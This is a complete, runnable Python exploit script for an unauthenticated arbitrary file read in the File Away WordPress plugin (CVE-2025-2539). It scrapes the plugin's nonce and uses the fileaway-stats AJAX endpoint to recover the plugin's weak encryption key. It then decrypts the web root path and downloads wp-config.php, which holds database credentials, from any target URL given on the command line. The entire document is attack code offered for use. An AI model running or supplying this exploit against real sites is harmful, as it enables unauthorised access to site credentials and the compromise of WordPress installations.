README.md
Rendering markdown...
#!/usr/bin/env python3
# =============================================================================
# Author: @whattheslime
# CVE: CVE-2025-2539
# Date: March 2023
# Product: File Away (WordPress plugin)
# Title: Unautenticated arbitrary file read
# Vendor URL: https://wordpress.org/plugins/file-away/
# Version: <= 3.9.9.0.1
# -----------------------------------------------------------------------------
# Install: python3 -m venv venv && venv/bin/pip install httpx
# Usage: venv/bin/python3 get_config.py -h
# =============================================================================
from argparse import ArgumentParser, Namespace
from base64 import b64decode
from datetime import date
from httpx import Client
from pathlib import Path
from secrets import token_hex
from re import search
from urllib.parse import urljoin, urlparse, parse_qs, quote
AGENT = (
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 "
"Firefox/120.0"
)
ERRO = "\r\033[1;31m[!]\033[0m"
INFO = "\r\033[1;34m[-]\033[0m"
SUCC = "\r\033[1;32m[+]\033[0m"
WP_CONFIG = "wp-config.php"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_path(
http: Client, target: str, nonce: str, file_path: str
) -> tuple[str, str]:
"""Get encrypted path of a file."""
response = http.post(
urljoin(target, "wp-admin/admin-ajax.php"),
headers={"Content-Type": "application/x-www-form-urlencoded"},
params={"t": token_hex(5)},
data=f"action=fileaway-stats&nonce={nonce}&file={file_path}",
)
url = response.text[1:-1].replace("\\", "")
params = parse_qs(urlparse(url).query)
file_path = params["fileaway"][0]
return url, file_path
def download_config(http: Client, target: str, nonce: str):
"""Exploit File-Away weak encryption to download wordpress configuration.
"""
# Get encrypted webroot
_, encrypted_webroot = get_path(http, target, nonce, "")
print(INFO, f"Encrypted web root: {encrypted_webroot[::-1]}")
# Retrive encryption key
padding = encrypted_webroot.count("=")
decoder = quote(padding * b"." + b64decode(CHARSET))
print(INFO, f"Decoder: {decoder}")
url, file_path = get_path(http, target, nonce, decoder)
key = file_path[::-1][-len(CHARSET):]
# Decrypt webroot
print(INFO, f"Charset: {CHARSET}")
print(SUCC, f"Encryption Key: {key}")
decrypted_webroot = "".join(
key[CHARSET.index(c)] if c in key else c for c in encrypted_webroot
)
webroot = Path(b64decode(decrypted_webroot[::-1].encode()).decode())
print(SUCC, f"Decrypted web root: {webroot}")
# Download wp-config.php
url, _ = get_path(http, target, nonce, WP_CONFIG)
wp_config_content = http.get(url).text
website = urlparse(target).netloc
time = date.today().strftime("%Y:%m:%d")
file_path = f"{website}_{time}_{WP_CONFIG}"
Path(file_path).write_text(wp_config_content)
print(SUCC, f"Config file downloaded: {file_path}")
def parse_args() -> Namespace:
"""Function to parse user arguments."""
parser = ArgumentParser(
description="File Away - Arbitrary File Read Exploitation script"
)
parser.add_argument(
"-t",
"--target",
type=str,
required=True,
help="target url (e.g. http://target.com).",
)
parser.add_argument(
"-x",
"--proxy",
type=str,
default=None,
help="proxy url (e.g. http://127.0.0.1:8080).",
)
return parser.parse_args()
def main():
"""Program entry point."""
args = parse_args()
target = args.target
try:
with Client(
follow_redirects=False,
headers={"User-Agent": AGENT},
proxy=args.proxy,
verify=False,
) as http:
# Get fileaway-stats nonce
response = http.get(target, params={"t": token_hex(5)})
match = search(r"var fileaway_stats.*nonce\":\"(\w+)\"", response.text)
if not match:
print(
ERRO,
"Unable to find 'fileaway-stats-nonce'!,"
"Plugin seems disabled.",
)
return
fileaway_stats_nonce = match.group(1)
print(SUCC, f"File-Away nonce: {fileaway_stats_nonce}")
download_config(http, target, fileaway_stats_nonce)
except Exception as error:
print(ERRO, error)
if __name__ == "__main__":
main()